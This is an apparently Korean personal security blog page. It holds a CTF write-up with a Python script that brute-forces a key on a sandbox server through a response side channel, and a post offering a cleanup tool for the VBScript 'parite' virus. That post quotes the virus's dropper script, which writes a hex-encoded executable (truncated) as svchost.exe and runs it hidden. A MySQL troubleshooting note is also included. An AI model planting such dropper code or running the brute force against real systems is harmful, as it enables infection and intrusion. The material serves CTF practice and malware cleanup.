[세종 CTF/109] 당신은 Robots 입니까?

Posted by nopsled
2016.04.07 15:12 문제풀이



첫 메인 접속시 로봇이냐고 물어본다.


공격 벡터도 없고 생각좀 하다가 robots.txt가 생각나서 들어가봤다.




SSG_Browser만 접근가능하게끔 되어 있고..




SSG_Browser로 바꿔서 들어가면 위와 같은 인증창이 나오는데 페이지 소스를 본다.




eval코드를 복호화하면 다음과 같은 코드가 나온다.




POST로 값을 보낸다.



a를 보냈을때 리스폰값에 -5가 붙어 있고



4를 넣었을때 -5가 사라진다.


사이드채널어택이나 타이밍 어택으로 보고 코딩시작~




robots.py




# -*- coding: utf8 -*-

import requests

alphabet = 'abcdefghijklmnopqrstuvwxyz01234567890'

answer = []

while True:

    find = False

    for i in range(0, len(alphabet)):

        data = {'a':''.join(answer)+alphabet[i]}

        res = requests.post('http://sandbox.smishing.kr:32810/post.php', data=data,headers={'User-Agent':'SSG_Browser'}).content

        if res.find('-5') == -1:

            answer.append(alphabet[i])

            find = True

            print ''.join(answer)

            break


    if find == False: break

print 'Key : ' + ''.join(answer)

print '----- webdata -----'

data = {'a':''.join(answer)}

res = requests.post('http://sandbox.smishing.kr:32810/post.php', data=data,headers={'User-Agent':'SSG_Browser'}).content

print res 





유니코드로 출력해주면 끝.


결론은 앙 주난띠!



Thanks to @이준환, @최인준

저작자 표시 비영리
신고

파리떼 바이러스 치료 프로그램 (VBScript parite)

Posted by nopsled
2016.03.26 02:47 공지사항



antivirus.exe

 

일반 사용자용

 

antivirus.py


개발자용


주절주절

만들어 달라는 분이 계셔서 정말 간단하게 만든 python 파일입니다.. (py2exe로 사용해서 exe로 변환했구요. 스크립트 첨부했습니다.)

치료만 하실분들은 .exe파일을 받아서 실행하시면 됩니다. (개발자 분들 혹은 디버깅 용도로 사용하실 분들은 .py를 확인하시면 됩니다.)

* 상업적으로만 사용안하셨으면 하구요.(상업적으로 쓸일도 없겠지만..) CC만 남겨주신다면 수정/재배포 무한 가능합니다~




사용법

실행하셔서 치료하고 싶은 드라이버명 입력하면 됩니다.

예를 들자면.. C:\다 그러면 C:\입력하시구요. D:\다 싶으면 D:\입력하시면 됩니다.

C:\nopsled\909090\ 이렇게 입력하셔도 C:\드라이브 부터 치료합니다.. (예외처리 귀찮아서..)



감염증상

밑에는 감염되었을때 나타나는 문제인데 html에 DropFileName = "svchost.exe" 이런식으로 생기게 됩니다.

(관련 게시물 : http://nopsled.tistory.com/153)

</div>

</div>

</div>

</body>

</html><SCRIPT Language=VBScript><!--

DropFileName = "svchost.exe"

WriteData = "4D5A90000300000004000000FFFF0000B80000000000000(....생략...)F95F9C363906578B80B5C9859752AE1DA05373CC889E80EC04574FB962CB574250AE1DEB16216218D0B3DE2A130319B79A1F071CE22E927D3760119CD5BF41057C67998D1B0E50AE1DEC3C124811F5E29E65253614B7C9102724FE6FCF30324839EEE59F77574F03DEBB233731C24DD23C07493EE880EC523E3D21C2A83B033CC272C353737A34EEF499653B0927D2AC574250EB65C927235E32FFE59F77574F55F3BB362516C773C9201B2C5DCBE9824C322325E0C9574250AE1DA053732C000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"

Set FSO = CreateObject("Scripting.FileSystemObject")

DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName

If FSO.FileExists(DropPath)=False Then

Set FileObj = FSO.CreateTextFile(DropPath, True)

For i = 1 To Len(WriteData) Step 2

FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))

Next

FileObj.Close

End If

Set WSHshell = CreateObject("WScript.Shell")

WSHshell.Run DropPath, 0

//--></SCRIPT>

저작자 표시 비영리
신고

mysql 10061 에러 해결방법

Posted by nopsled
2016.03.24 04:26 일상생활


대부분 my.conf나 my.cnf의 잘못된 설정으로 나타나는 에러인걸로 알고 있다.


필자 또한... 삽질과 삽질의 연속으로....


맥 엘케피탄 환경으로 brew로 mysql을 설치하였다.



1) 첫번째 방법

$ mysqld --verbose --help | grep -A 1 'Default options' 

위 명령어를 사용하여 my.cnf의 기본 위치를 찾아보자. 해당하는게 있다면 sudo vi로 열어서 수정한다.


 #bind-address = 127.0.0.1

 #bind-address = 192.168.0.2 

bind-address부분을 주석해준다. 그리고 mysql.server restart 해준다.


그래도 10061에러가 뜬다면 다음을 해보자




2) nopsled@smleeo3o:~ (=`ω´=)$ ps -ef | grep mysql

  501  1600     1   0  4:16AM ??         0:00.02 /bin/sh /usr/local/opt/mysql/bin/mysqld_safe --bind-address=127.0.0.1 --datadir=/usr/local/var/mysql

  501  1708  1600   0  4:16AM ??         0:00.31 /usr/local/Cellar/mysql/5.7.11/bin/mysqld --basedir=/usr/local/Cellar/mysql/5.7.11 --datadir=/usr/local/var/mysql --plugin-dir=/usr/local/Cellar/mysql/5.7.11/lib/plugin --bind-address=127.0.0.1 --log-error=/usr/local/var/mysql/smleeo3o.local.err --pid-file=/usr/local/var/mysql/smleeo3o.local.pid

  501  1734   545   0  4:18AM ttys001    0:00.00 grep mysql


ps -ef | grep mysql로 뽑아봤는데 --bind-address=~~라는 옵션이 들어가있으면 안되므로.. my.cnf나 my.conf파일이 적용이 안된거다.

그러니 프로세스를 강제로 죽이고 다시 mysql.server를 실행하여 삽질을 반복한다.




3) 또는, 포트가 개방되지 않았다거나.. 같은 망내에 동일한 mysql이 설치되어 있는경우 에러를 팡팡 터트리곤 한다.

저작자 표시 비영리
신고

'일상생활' 카테고리의 다른 글

2017.06.10  (0) 2017.06.10
육군 정보보호병  (5) 2016.04.23
mysql 10061 에러 해결방법  (1) 2016.03.24
Fuzzer를 만들었다  (0) 2016.03.23
2016.02.16  (0) 2016.02.21
2016.02.08  (0) 2016.02.12